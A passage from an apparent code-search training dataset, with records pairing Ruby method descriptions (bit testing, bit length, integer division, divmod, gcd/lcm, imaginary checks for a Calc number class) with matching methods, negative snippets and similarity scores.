"def empieza_evaluacion\r\n begin\r\n alumnos1 = administrador.empezar_evaluaciones\r\n rescue RuntimeError => e\r\n error_handler(e)\r\n end\r\n menu_principal\r\n end",
"def success?() end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @total_servicos.nil?\n return false\n end\n\n \n \n \n \n \n if @total_parcelado_nacionais.nil?\n return false\n end\n\n \n \n \n \n \n if @total_parcelado_internacionais.nil?\n return false\n end\n\n \n \n \n \n end",
"def evaluar_funcion(x)\n ecuacion = \"\"\n\n for i in (0...@ecuacion.length) do\n ecuacion += @ecuacion[i] >= 0 ? \"+#{@ecuacion[i]}*x^#{@grado - i}\" : \"#{@ecuacion[i]}*x^#{@grado - i}\"\n end\n\n if @ecuacion[0] >= 0\n ecuacion = ecuacion[1, ecuacion.length]\n end\n\n return DK.evaluate(ecuacion, x: x)\n end",
"def result?\n false\n end"
] | [
"0.724005",
"0.6796457",
"0.6796457",
"0.6624278",
"0.6583296",
"0.6278399",
"0.6208673",
"0.6206503",
"0.61344516",
"0.60626197",
"0.6052106",
"0.59913886",
"0.5964731",
"0.5964731",
"0.5964731",
"0.5908226",
"0.58810294",
"0.58533883",
"0.58084935",
"0.5805999",
"0.5785482",
"0.57475793",
"0.574135",
"0.57206607",
"0.5690328",
"0.5682578",
"0.56687766",
"0.5662178",
"0.56449634",
"0.5639036"
] | 0.76326305 | 0 |
Returns 1 if binary bit y is set in self, otherwise 0. | def bit(y)
bit?(y) ? ONE : ZERO
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bit\n self\n end",
"def bits_set\n (\"%b\" % self).count('1')\n #to_s(2).count('1') # alternative\n #count = 0 # alternative\n #byte = self.abs\n #count += byte & 1 and byte >>= 1 until byte == 0 # cf. http://snippets.dzone.com/posts/show/4233\n #count\n end",
"def [](j)\n\t\tif ((@bits >> j) & 1) == 1\n\t\t\treturn 1\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend",
"def in_binary\n Bases.val(self).in_binary\n end",
"def one_bit?\n identify.include?('1-bit')\n end",
"def bit\n Component.bit_for(self.class)\n end",
"def bitPos2Int( b )\n (0..7).select { |i| \n true if checkBitSet(i, b)>0 \n }\n end",
"def set?(bit)\n bit = convert_bit(bit)\n intersect(bit) == bit\n end",
"def counter?(x, y)\n return false unless valid?(x, y)\n return @passages[@map.data[x, y, 0]] & 0x80 == 0x80\n end",
"def countSetBits(x)\n\tcount = 0\n\n\twhile(x != 0)\n\t\tx = x & (x - 1)\n\t\tcount += 1\n\tend\n\treturn count\nend",
"def getbit(key, offset); end",
"def getbit(key, offset); end",
"def contains_y(y)\n\t\t@y <= y && y <= (@y + @bg_height)\n\tend",
"def y; self[Y]; end",
"def y; self[Y]; end",
"def y; self[Y]; end",
"def bool\n i8u != 0\n end",
"def to_i\n bitmask\n end",
"def bool_to_binary(val)\n saved_object_count = @written_object_count\n @written_object_count += 1\n\n @object_table[saved_object_count] = val ? \"\\x9\" : \"\\x8\" # 0x9 is 1001, type indicator for true; 0x8 is 1000, type indicator for false\n return saved_object_count\n end",
"def binary?\n @binary\n end",
"def binary?\n @binary\n end",
"def not_x\n x = @x.content\n z = Array.new @z.length, 0\n\n @z.length.times { |i| z[i] = (x[i] == 1) ? 0 : 1 } \n\n @z.content = z\n end",
"def [](position)\n (@field.getbyte(position >> 3) & (1 << (byte_position(position) % 8))) > 0 ? 1 : 0\n end",
"def to_i\n bitmask\n end",
"def [](index)\n @bits[index/@@wordBits] & @bitMask[index % @@wordBits] > 0 ? 1 : 0\n end",
"def interleave_bits(x, y)\n c = 0\n 31.downto(0) do |i|\n c = (c << 1) | ((x >> i) & 1)\n c = (c << 1) | ((y >> i) & 1)\n end\n c\n end",
"def orgY(y)\n return @device.orgY(y) ;\n end",
"def pow2?\n return self > 0 && (self & (self - 1) == 0)\n end",
"def [](i)\n raise ArgumentError, 'Invalid bit index' unless i >= 0 && i < size\n byte_i = i / 8\n bit_i = i % 8\n @bytes[byte_i] & (0x80 >> bit_i) > 0 ? 1 : 0\n end",
"def coded_y_n\n if alternation_type\n self.coded? ? 'y' : 'n'\n end \n end"
] | [
"0.57821727",
"0.56086886",
"0.55333996",
"0.53367794",
"0.52065706",
"0.5186879",
"0.5110588",
"0.50635517",
"0.49947545",
"0.49814177",
"0.49718133",
"0.49718133",
"0.49640307",
"0.49521697",
"0.49521697",
"0.49521697",
"0.49438486",
"0.49394822",
"0.4900481",
"0.48983788",
"0.48944232",
"0.48935425",
"0.48832643",
"0.4864799",
"0.48610926",
"0.48319617",
"0.48307833",
"0.480512",
"0.47786847",
"0.47784838"
] | 0.79530096 | 0 |
Returns the number of bits in the integer part of `self` Note that this is compatible with ruby's Integerbit_length. Libcalc provides a similar function called `highbit` with different semantics. This returns the bit position of the highest bit which is different to the sign bit. If there is no such bit (zero or 1), zero is returned. | def bit_length
(negative? ? -self : self + ONE).log2.ceil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_i\n @bits.to_i\n end",
"def _nbits(x)\n raise TypeError, \"The argument to _nbits should be nonnegative.\" if x < 0\n # Ruby 2.1 introduced Integer#bit_length\n return x.bit_length if x.respond_to? :bit_length\n if x <= MAXIMUM_SMALLISH_INTEGER\n return 0 if x==0\n x.to_s(2).length\n elsif x <= NBITS_LIMIT\n Math.frexp(x).last\n else\n n = 0\n while x!=0\n y = x\n x >>= NBITS_BLOCK\n n += NBITS_BLOCK\n end\n n += y.to_s(2).length - NBITS_BLOCK if y!=0\n n\n end\n end",
"def get_bit_length(n)\n if n == 0\n # we require no bit to store 0.\n # That is, absence of bit is considered 0.\n return 0\n else \n return 1 + get_bit_length(n >> 1)\n end\nend",
"def bit_length\n @bit_length ||= ECDSA.bit_length(field.prime)\n end",
"def to_i\n bitmask\n end",
"def getBits(binary)\n length = binary[0].length\n return length\n end",
"def bit_set_size\n @bit_set.size\n end",
"def bits(integer)\n number = integer.to_s(2)\n count = number.count('1')\n puts(number)\n return count\nend",
"def count_bits(n)\r\n n.to_s(2).count \"1\"\r\nend",
"def size\n BitCounter.count(@val)\n end",
"def bits\n super.to_i\n end",
"def to_i\n bitmask\n end",
"def count_bits(n)\n n.to_s(2).count('1')\nend",
"def count_bits(n)\n n.to_s(2).count('1')\nend",
"def read_bits_int(n)\n read_bits_int_be(n)\n end",
"def count_bits(n)\n n.to_s(2).count(\"1\")\nend",
"def count_bits(n)\n n.to_s(2).count \"1\"\nend",
"def to_i\n\t\tbits.map(&:to_s).join.to_i(2)\n\tend",
"def number_of_bits_up_to(n)\n Math.frexp(n - 1)[1]\n end",
"def _num_bits_in_range(bits, max, min)\n upper = bits.position + bits.size - 1\n lower = bits.position\n [upper, max].min - [lower, min].max + 1\n end",
"def count_bits(n)\n return 0 if n == 0\n return 1 if n == 1\n return count_bits(n/2) + n%2\nend",
"def bit_shift_count_for(operand, size)\n\t\toperand.v_bit.zero? ? 1 : (@cx.low > size ? size : @cx.low)\n\tend",
"def size\n (@bit_length*@length*@count)/8.0\n end",
"def numberOf1Bits(n)\n res = 0\n while n != 0\n n &= (n - 1)\n res += 1\n end\n return res\nend",
"def bits_set\n (\"%b\" % self).count('1')\n #to_s(2).count('1') # alternative\n #count = 0 # alternative\n #byte = self.abs\n #count += byte & 1 and byte >>= 1 until byte == 0 # cf. http://snippets.dzone.com/posts/show/4233\n #count\n end",
"def msb; @bits[@bits.length - 1]; end",
"def bitPos2Int( b )\n (0..7).select { |i| \n true if checkBitSet(i, b)>0 \n }\n end",
"def countSetBits(x)\n\tcount = 0\n\n\twhile(x != 0)\n\t\tx = x & (x - 1)\n\t\tcount += 1\n\tend\n\treturn count\nend",
"def count_bits(n)\r\n # TODO: Program me\r\n binary_array = []\r\n while n >= 2\r\n reminder = n % 2\r\n binary_array.unshift(reminder)\r\n n = n / 2\r\n end\r\n binary_array.unshift(n)\r\n \r\n sum = 0\r\n binary_array.each do |num|\r\n if num == 1\r\n sum += 1\r\n end\r\n end\r\n\r\n return sum\r\nend",
"def bits\n self.class.bits.select { |bit, _| include? bit }.keys\n end"
] | [
"0.6869315",
"0.6850573",
"0.6806951",
"0.64833",
"0.62883097",
"0.6216534",
"0.61321855",
"0.6117682",
"0.6080967",
"0.6041474",
"0.6035189",
"0.6022201",
"0.60200286",
"0.60200286",
"0.5981691",
"0.59709346",
"0.59607476",
"0.59540087",
"0.5917017",
"0.5887551",
"0.58818036",
"0.58702487",
"0.582433",
"0.5816719",
"0.57692844",
"0.5714093",
"0.5625261",
"0.56049645",
"0.55949455",
"0.5521312"
] | 0.76164234 | 0 |
Ruby compatible integer division Calls `quo` to get the quotient of integer division, with rounding mode which specifies behaviour compatible with ruby's Numericdiv | def div(y)
quo(y, ZERO)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def accurate_division(int, int_two)\n int = int.to_f\n int_two = int_two\n q = int / int_two\n return q.round(3)\nend",
"def rdiv(arg0)\n end",
"def divide(dividend, divisor)\n negative_sign = (dividend < 0 && divisor >= 0) || (dividend >= 0 && divisor < 0)\n\n remaining = dividend.abs\n abs_divisor = divisor.abs\n quotient = 0\n while remaining >= abs_divisor\n remaining -= abs_divisor\n quotient += 1\n end\n\n negative_sign ? \"-#{quotient.to_s}\".to_i : quotient\nend",
"def divide(dividend, divisor)\n # new_dividend = dividend > 0 : -divident : dividend\n # new_divisor = divisor > 0 : -divisor : divisor\n\n new_dividend = dividend\n new_divisor = divisor\n\n quotient = 0\n while new_dividend >= new_divisor\n multiplier = 0\n while (new_divisor << multiplier + 1) < new_dividend\n multiplier += 1\n end\n\n quotient += (1 << multiplier)\n new_dividend -= new_divisor << multiplier\n end\n\n quotient\nend",
"def div(x, y)\n x / y\nend",
"def rdiv(p0) end",
"def div(p0) end",
"def on_div(ast_node, context)\n left, right = *ast_node\n\n return on_call_number(context, left) / on_call_number(context, right)\n end",
"def divide(num1, num2)\n num2.to_f / num1.to_f;\nend",
"def rounddiv(a, b)\n c = a / b\n remainder = a - b * c\n if (remainder * 2).abs < b.abs\n c\n else\n c + 1\n end\nend",
"def divide(dividend:, divisor:)\n dividend / divisor\nend",
"def divide(other)\n Rubinius.primitive :float_div\n redo_coerced :/, other\n end",
"def DivisionStringified(num1,num2)\n result = num1.to_f / num2.to_f\n result.round.to_s.chars.map(&:to_i).size <= 3 ? result.round : result.round(3)\nend",
"def divide(dividend, divisor)\r\n ((dividend < 0 && divisor >= 0) || (dividend >= 0 && divisor < 0)) ? negative = true : negative = false\r\n dividend = dividend.abs\r\n divisor = divisor.abs\r\n count = 0\r\n until dividend < divisor\r\n dividend -= divisor\r\n count += 1\r\n return negative ? 0 - (2**31) : 2**31 - 1 if count > 9999999\r\n end\r\n negative ? 0 - count : count\r\nend",
"def divide\n match '/'\n factor\n emit_ln 'MOVE (SP)+,D1'\n emit_ln 'DIVS D1,D0'\nend",
"def div(arg0)\n end",
"def divide (a,b)\n f = a.to_i / b.to_i\n puts \"Division is: #{f}\"\n end",
"def divide_integers(dividend, divisor)\n return 1 if dividend == divisor\n \n quotient = 0\n counter = divisor.abs\n until dividend.abs < counter\n quotient += 1\n counter += divisor.abs\n end\n\n if dividend > 0 && divisor > 0 || dividend < 0 && divisor < 0\n quotient\n else\n quotient * -1\n end\nend",
"def divide(dividend, divisor)\n\n denom = divisor\n current = 0\n\n return 0 if denom > dividend\n return 1 if denom == dividend\n\n # 5 45\n while denom <= dividend do \n \tdenom += divisor\n \tcurrent += 1 \n end\n remainder = dividend - (denom - divisor)\n current\nend",
"def divide_numbers x, y\n x.fdiv(y)\nend",
"def divisionm(num_1,num_2)\n return num_1 / num_2\nend",
"def secure_div(divident, divisor)\n return nil if divisor == 0\n divident.to_f/divisor\n end",
"def do_division_by_zero; 5 / 0; end",
"def do_division_by_zero; 5 / 0; end",
"def do_division_by_zero; 5 / 0; end",
"def fdiv(arg0)\n end",
"def division num1, num2\n total = num1.to_i / num2.to_i\n puts \"--> The total is... #{total}\"\nend",
"def /(b)\n b = b.symdescfy\n case b\n when Number\n __div_number(b)\n when Infinity\n ZERO\n else\n super\n end\n end",
"def pre_divide; end",
"def div!(*args)\n dotop!(RAtlas::method(:div!), RAtlas::method(:mdiv!),\n *args)\n end"
] | [
"0.7406049",
"0.66704065",
"0.6669712",
"0.66377074",
"0.6635215",
"0.66284096",
"0.66207695",
"0.6576546",
"0.65521157",
"0.6549041",
"0.6538429",
"0.65053403",
"0.6444759",
"0.64183134",
"0.64027745",
"0.63975435",
"0.6394772",
"0.63745266",
"0.63437855",
"0.63104105",
"0.63049024",
"0.6299538",
"0.6298911",
"0.6298911",
"0.6298911",
"0.6292787",
"0.62294126",
"0.62049776",
"0.62027514",
"0.6153758"
] | 0.67264724 | 1 |
Ruby compatible quotient/modulus Returns an array containing the quotient and modulus by dividing `self` by `y`. Rounding is compatible with the ruby method `Numericdivmod`. Unlike `quomod`, this is not affected by `Calc.config(:quomod)`. | def divmod(y)
quomod(y, ZERO)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def div(y)\n quo(y, ZERO)\n end",
"def divmod(other)\n raise TypeError unless other.kind_of?(self.class)\n if other.zero?\n raise ZeroDivisionError; end\n q = @@Zero\n tmp = other\n while self >= tmp\n q = q.next\n tmp += other\n end\n [q, self + other - tmp]\n end",
"def mod(x, y)\n raise NotImplementedError\n end",
"def remainder(y)\n z = modulo(y)\n if !z.zero? && ((self < 0 && y > 0) || (self > 0 && y < 0))\n z - y\n else\n z\n end\n end",
"def divmod(p0) end",
"def modulo(y)\n mod(y, ZERO)\n end",
"def divmod(val)\n if val.is_a?(Money)\n a = self.cents\n b = self.currency == val.currency ? val.cents : val.exchange_to(self.currency).cents\n q, m = a.divmod(b)\n return [q, Money.new(m, self.currency)]\n else\n return [self.div(val), Money.new(self.cents.modulo(val), self.currency)]\n end\n end",
"def divide_numbers x, y\n x.fdiv(y)\nend",
"def divmod(val); end",
"def div(x, y)\n x / y\nend",
"def getQuo ( x , y )\n\tq = x / y\n\treturn q\nend",
"def to_quotient\n if @special\n y = 0\n case @special\n when :nan\n x = 0\n when :inf\n x = @sign\n end\n return [x, y]\n end\n\n n = @digits.size\n a = 0\n b = a\n\n repeat = @repeat\n repeat = nil if repeat && repeat >= n\n\n for i in 0...n\n a *= @radix\n a += @digits[i]\n if repeat && i < repeat\n b *= @radix\n b += @digits[i]\n end\n end\n\n x = a\n x -= b if repeat\n\n y = @radix**(n - @point)\n y -= @radix**(repeat - @point) if repeat\n\n d = Numerals.gcd(x, y)\n x /= d\n y /= d\n\n x = -x if @sign < 0\n\n [x.to_i, y.to_i]\n end",
"def divmod(divisor)\n \n if (@ca.getValidCharacters.include? divisor)\n new_coefs = @coefs.map do |a|\n quotient = @ca.binaryDivide(a, divisor)\n end\n q, r = MyPolynomial[new_coefs], MyPolynomial[' ']\n elsif divisor.is_a? MyPolynomial\n a = self; b = divisor; q = ' '; r = self\n (a.degree - b.degree + 1).times do\n dd = r.degree - b.degree\n qqa = @ca.binaryDivide(r.coefs[-1], b.coefs[-1])\n qq = MyPolynomial[dd => qqa]\n q = qq.+(q)\n r = r + (qq * divisor)\n break if r.zero?\n end\n else\n raise ArgumentError, 'divisor should be a valid character or polynomial'\n end\n [q, r]\n end",
"def divmod(arg0)\n end",
"def divmod(arg0)\n end",
"def normalise(x, y)\n gcd = x.gcd(y)\n gcd = 1 if gcd.zero?\n\n [x /= gcd, y /= gcd]\nend",
"def n_mod_m x, y\n\tif x < y \n\t\treturn x\n\tend\n\tuntil x < y do\n\t\tx = x - y \n\tend\n\tx\nend",
"def magnitude_part_and_remainder\n quotient, remainder = self.divmod(magnitude)\n [magnitude * quotient, remainder]\n end",
"def div(x, op, y)\n x.send(op, y)\nend",
"def int_remainder_without_modulo(i_dividend, i_divisor)\r\n # take the remainder of the integers => .6\r\n # multiply that remainder by i_divisor => .6*5 = 3.0\r\n # convert the float to an integer\r\n x = dec_remainder_of_two_integers(i_dividend, i_divisor)\r\n y = x * (i_divisor)\r\n y.to_i\r\nend",
"def quadratic_residues(modulus)\n (1..(modulus - 1)).map { |n| n**2 % modulus }.uniq.sort\n end",
"def inv_mod x,n\n d,r,s = gcd2 x,n\n if d==1\n r % n\n else\n 0\n end\nend",
"def mod\n x, y = stack.pop(2)\n push x % y\n end",
"def rdiv(p0) end",
"def self_dividing_numbers(left, right)\n result_array = []\n\n (left..right).each do |i|\n arr = array_of_digits(i)\n\n self_dividing = true\n arr.length.times do |digit|\n if arr[digit] == 0\n self_dividing = false\n else\n self_dividing = false if i % arr[digit] != 0\n end\n end\n result_array << i if self_dividing\n end\n\n result_array\nend",
"def div!(rhs)\n inverse = 1.0 / rhs\n @x *= inverse\n @y *= inverse\n self\n end",
"def div_no_x(v,s)\n q = 0\n c = clz(s) # count leading zeroes in dividend\n d = clz(v) # count leading zeroes in (extended) divisor\n m = c-d\n if c >= d\n s <<= m # shift s such that leading bits align\n if s > v\n s >>= 1\n m -= 1\n end\n p = 1<<m # set first quotient bit\n q = p\n while p != 0\n v -= s # subtract\n t = if v >= 0\n q |= p\n else\n v += s # s too big, so put v back\n end\n if block_given?\n yield [!t.nil?,v,q,p,x,s]\n end\n p >>= 1\n s >>= 1\n end\n end\n r = lo(v)\n q = q\n [ q, r ]\n end",
"def divide_x_by_y (x, y)\nz = x/y\nend",
"def divisible_by(numbers, divisor)\n arr = []\n numbers.each do |x|\n if (x % divisor) == 0\n x >> arr\n end\n end \n return arr\nend",
"def xgcd_iter(x, y)\n a, next_a = 1, 0\n b, next_b = 0, 1\n while y != 0\n a, next_a = next_a, a-x/y*next_a\n b, next_b = next_b, b-x/y*next_b\n x, y = y, x%y\n end\n [x, a, b]\nend"
] | [
"0.6812624",
"0.6215988",
"0.6186637",
"0.61692107",
"0.6134756",
"0.61182576",
"0.59946907",
"0.58908993",
"0.5824408",
"0.57144135",
"0.5709652",
"0.57092154",
"0.5673261",
"0.5504726",
"0.5504726",
"0.5455722",
"0.54439956",
"0.5422434",
"0.5410859",
"0.5409823",
"0.5402497",
"0.5402074",
"0.53850985",
"0.5363581",
"0.53590363",
"0.5359036",
"0.53357977",
"0.5322807",
"0.53159386",
"0.5313618"
] | 0.7700913 | 0 |
Returns an array; [gcd, lcm] This method exists for compatibility with ruby's Integer class, however note that the libcalc version works on rational numbers and the lcm can be negative. You can also pass more than one value. | def gcdlcm(*args)
[gcd(*args), lcm(*args)]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def lcm(*args)\n args.reduce(&:lcm)\nend",
"def lcm(x, y)\n mul(x, div(y, gcd(x, y)))\n end",
"def lcm(p0) end",
"def lcm(*nums)\n nums.reduce(1, :lcm)\nend",
"def my_lcm(*args)\r\n\targs.inject do |memo, num|\r\n\t\tproduct = memo * num\r\n\t\tproduct / my_gcd(memo, num)\r\n\tend\r\nend",
"def lcm(num1, num2)\n num1.lcm(num2)\nend",
"def lcm(u,v)\n (u*v).abs/gcd(u,v)\nend",
"def lcm(a, b)\n\t\ta, b = a.abs, b.abs\n\t\t(a / gcd(a, b)) * b\n\tend",
"def lcm(*nums)\n nums = nums.collect { |n| [* n] }.flatten.sort.reverse\n p_facs = []\n primes = Prime.new\n max = nums.first\n while (p = primes.next) and max > p\n while nums.detect { |n| (n % p).zero? }\n p_facs << p\n nums = nums.collect { |n| (n % p).zero? ? n / p : n }\n end\n end\n nums.each { |n| p_facs << n if n > 1 }\n p_facs.inject(1) { |l, n| l * n }\nend",
"def lcm(*args)\n return 0 if args.include?(0)\n target_lcm = 1\n\n loop do\n return target_lcm if args.all? { |nums| target_lcm % nums == 0 }\n target_lcm += 1\n end\nend",
"def my_gcd(*args)\r\n\targs.inject do |memo, num|\r\n\t\tuntil [memo, num].include?(0)\r\n\t\t\tmod = memo % num\r\n\t\t\tmemo, num = num, mod\r\n\t\tend\r\n\t\t[memo, num].max\r\n\tend\r\nend",
"def my_lcm(int_one, int_two)\n # your code goes here\n z = (int_one).lcm(int_two)\n puts z\nend",
"def my_lcm(int_one, int_two)\n # your code goes here\n return int_one.lcm(int_two)\nend",
"def find_lcm(n)\n (1..n).reduce(:lcm)\nend",
"def lcm(a, b)\n #\n # your code goes here\n # create two empty arrays to accumulate mutliples of 'a' and 'b'\n # iterate 1 thru a and 1 thru b getting multiples for 'a' and 'b'\n # select multiples from both arrays if common (*)\n # choose the leat from above (*)\n multiples_of_a, multiples_of_b = [], []\n\n (1..b).each do |n|\n multiples_of_a << n * a\n end\n\n (1..a).each do |n|\n multiples_of_b << n * b\n end\n\n common_multiples = multiples_of_a.select do |multiple|\n multiples_of_b.include?(multiple)\n end\n\n common_multiples.first\nend",
"def lcm(nums)\n # get prime factors of each num\n if nums.include?(0)\n return 0\n end\n\n pfs = prime_factorise(nums).uniq\n baseprimes = []\n\n # Extract all common primes, starting with 2\n $primes.each do |p|\n most_p = 0\n pfs.each do |pf|\n new_most_p = pf.count { |x| x == p }\n if new_most_p > most_p\n most_p = new_most_p\n end\n end\n most_p.times do\n baseprimes.push(p)\n end\n end\n\n puts baseprimes.to_s\n\n # multiply out\n baseprimes.reduce(:*)\nend",
"def my_lcm(int_one, int_two)\r\n # your code goes here\r\n # use of lcm method\r\n\r\n int_one.lcm(int_two)\r\nend",
"def LCM(a, b)\n tmp = a.gcd(b)\n return a*b/tmp\nend",
"def findlcm(a,b)\n a.lcm(b)\nend",
"def super_lcm(collection)\n super_lcm = 1\n collection.each { |integer| super_lcm = super_lcm.lcm(integer) }\n return super_lcm\nend",
"def least_common_multiple(num_1, num_2)\n #if not the smaller num is not a factor of the bigger num\n #we need to find the greatest common factor\n #and multiply bigger num by greatest common factor\n # common_factors = []\n # smaller_factors = (1..num_1).select { |n| num_1 % n == 0 }\n # larger_factors = (1..num_2).select { |n| num_2 % n == 0 }\n # p smaller_factors\n # p larger_factors\n # common_factors = \n num_1.lcm(num_2)\nend",
"def problem5 ( )\n lcm_1_to_n(20)\nend",
"def lcm(a, b)\n firstMultiples = []\n secondMultiples = []\n if a == b\n return a\n end\n \n counter = 1\n boolean = true\n while boolean == true\n firstMultiples.push(a * counter)\n secondMultiples.push(b * counter)\n if firstMultiples.include?(b * counter) \n return b * counter\n elsif secondMultiples.include?(a * counter)\n return a * counter\n else\n counter += 1\n end\n end\n \n \nend",
"def gcd(*nums)\r\n\t\treturn nums.inject do |a, b|\r\n\t\t\ta, b = b, a % b until b.zero?\r\n\t\t\tnext a\r\n\t\tend\r\n\tend",
"def lcm_range (min,max)\n# t1 = Time.new.to_f\n \n divisors = (min..max)\n dividend = max\n \n until divisors.all? { |n| dividend % n == 0 }\n dividend += max\n end\n p dividend\n \n# t2 = Time.new.to_f\n# puts \"Time: #{t2-t1} seconds\" \nend",
"def find_gcd(nums)\n nums.max.gcd(nums.min)\nend",
"def lcm( a, b )\r\n\t\t\tn = [a,b].max\r\n\t\t\twhile true\r\n\t\t\t\treturn n if ( n%a == 0 and n%b == 0 )\r\n\t\t\t\tn += 1\r\n\t\t\tend\r\n\t\tend",
"def find_gcd(nums)\n nums.minmax.reduce(:gcd)\nend",
"def min_divisible_by_all(num)\r\n (1..num).inject(:lcm)\r\nend",
"def smallest_multiple\n (1..20).reduce(&:lcm)\nend"
] | [
"0.74520373",
"0.73320305",
"0.7322869",
"0.72348607",
"0.7212897",
"0.71863705",
"0.7177713",
"0.70611036",
"0.7060098",
"0.7032449",
"0.7012469",
"0.69217134",
"0.6894238",
"0.68760127",
"0.68394935",
"0.6831541",
"0.67759645",
"0.6764885",
"0.6749513",
"0.67486817",
"0.67271525",
"0.6698134",
"0.6658065",
"0.66475755",
"0.66265875",
"0.66206545",
"0.661609",
"0.65769404",
"0.65520155",
"0.65348065"
] | 0.79607904 | 0 |
Returns true if the number is imaginary. Instances of this class always return false. | def imag?
false
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def isimag\n ZERO\n end",
"def imag\n if not @__imag__\n if complex?\n @__imag__ = case data_type\n when CA_CMPLX64\n field(4, CA_FLOAT32)\n when CA_CMPLX128\n field(8, CA_FLOAT64)\n when CA_CMPLX128\n field(16, CA_FLOAT128)\n end\n else\n @__imag__ = self.template { 0 }\n end\n end\n return @__imag__\n end",
"def complex?\n false\n end",
"def complex?\n @complex\n end",
"def test_Complex_InstanceMethods_imag\n\t\tassert_equal(-3, Complex(2, -3).imag)\n\t\tassert_equal(-3, Complex(\"2-3i\").imag)\n\tend",
"def imag\n complexget :imag\n end",
"def is_integer?(num)\n\tif num.is_a? Integer\n\t\ttrue\n\telsif num.is_a? Float\n\t\tif num.nan?\n\t\t\tfalse\n\t\telsif num == num.floor\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\telse\n\t\tfalse\n\tend\nend",
"def is_integer?(num)\n num.class == Fixnum || num.class == Bignum ||\n ( num.is_a?(Float) && !num.nan? && num.to_i == num )\n end",
"def is_integer?(num)\n num.class == Fixnum || num.class == Bignum ||\n ( num.is_a?(Float) && !num.nan? && num.to_i == num )\n end",
"def is_i?\n !!( self =~ /\\A[-+]?[0-9]+\\z/ )\n end",
"def complex_dtype?\n [:complex64, :complex128].include?(self.dtype)\n end",
"def test_Complex_InstanceMethods_imaginary\n\t\tassert_equal(-3, Complex(2, -3).imaginary)\n\t\tassert_equal(-3, Complex(\"2-3i\").imaginary)\n\tend",
"def is_i?\n self.to_f == self.to_f.floor\n end",
"def is_num?\n @flags & NUM_FLAG != 0\n end",
"def is_num?\n @flags & NUM_FLAG != 0\n end",
"def octagonal?\n fcache[:octagonal] ||= (Math.sqrt(3*self +1)+1)% 3 == 0\n end",
"def _imag\n\n _save = self.pos\n while true # sequence\n\n _save1 = self.pos\n while true # choice\n _tmp = apply(:_real)\n break if _tmp\n self.pos = _save1\n _tmp = apply(:_int)\n break if _tmp\n self.pos = _save1\n break\n end # end choice\n\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = match_string(\"i\")\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_imag unless _tmp\n return _tmp\n end",
"def numeric?\n false\n end",
"def is_i?\n !!(self =~ /\\A[-+]?[0-9]+\\z/)\n end",
"def is_real?\n real?\n end",
"def finite?\n @special != 'i' && !self.nan?\n end",
"def is_integer?(num)\n num.class == Fixnum || num.class == Bignum ||\n ( num.is_a?(Float) && !num.nan? && num.to_i == num )\nend",
"def numeric?\n true\n end",
"def i?(v)\n !!(v =~ /^[-+]?[0-9]+$/)\n end",
"def is_integer?(n)\n if !n.is_a?(Numeric) || n.to_f.nan?\n return false\n elsif n.class == Fixnum || n.class == Bignum\n return true\n elsif n == n.round\n return true\n end\n return false\nend",
"def complex?\n true\n end",
"def test_Complex_InstanceMethods_real?\n\t\tassert_equal(false, Complex(1,1).real?)\n\t\tassert_equal(false, Complex(1,0).real?)\n\tend",
"def zero?\n @digits.to_i == 0 and self.finite?\n end",
"def bignumeric?\n type == \"BIGNUMERIC\"\n end",
"def is_i?\n /\\A[-+]?\\d+\\z/ === self\n end"
] | [
"0.83465636",
"0.6816838",
"0.6437948",
"0.63883173",
"0.6368428",
"0.6340384",
"0.6213521",
"0.6186674",
"0.6186674",
"0.6185851",
"0.6179606",
"0.6155671",
"0.61504173",
"0.6074933",
"0.6074933",
"0.60740674",
"0.6046662",
"0.60446775",
"0.60390013",
"0.59488386",
"0.5929175",
"0.5925237",
"0.5896411",
"0.58657086",
"0.5856095",
"0.5850493",
"0.5834355",
"0.5815297",
"0.5792516",
"0.5789173"
] | 0.76897883 | 1 |
Returns 1 if the number is imaginary, otherwise returns 0. Instance of this class always return 0. | def isimag
ZERO
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def imag?\n false\n end",
"def imag\n if not @__imag__\n if complex?\n @__imag__ = case data_type\n when CA_CMPLX64\n field(4, CA_FLOAT32)\n when CA_CMPLX128\n field(8, CA_FLOAT64)\n when CA_CMPLX128\n field(16, CA_FLOAT128)\n end\n else\n @__imag__ = self.template { 0 }\n end\n end\n return @__imag__\n end",
"def _imag\n\n _save = self.pos\n while true # sequence\n\n _save1 = self.pos\n while true # choice\n _tmp = apply(:_real)\n break if _tmp\n self.pos = _save1\n _tmp = apply(:_int)\n break if _tmp\n self.pos = _save1\n break\n end # end choice\n\n unless _tmp\n self.pos = _save\n break\n end\n _tmp = match_string(\"i\")\n unless _tmp\n self.pos = _save\n end\n break\n end # end sequence\n\n set_failed_rule :_imag unless _tmp\n return _tmp\n end",
"def imag\n complexget :imag\n end",
"def isreal\n ONE\n end",
"def imaginary_compass\n {\n 'W' => Complex(0, -1),\n 'E' => Complex(0, 1),\n 'N' => Complex(1, 0),\n 'S' => Complex(-1, 0)\n }\nend",
"def test_Complex_InstanceMethods_imag\n\t\tassert_equal(-3, Complex(2, -3).imag)\n\t\tassert_equal(-3, Complex(\"2-3i\").imag)\n\tend",
"def imaginary\r\n self.data.map(&:imaginary)\r\n end",
"def ∅?; self.real.zero?; end",
"def is_i?\n self.to_f == self.to_f.floor\n end",
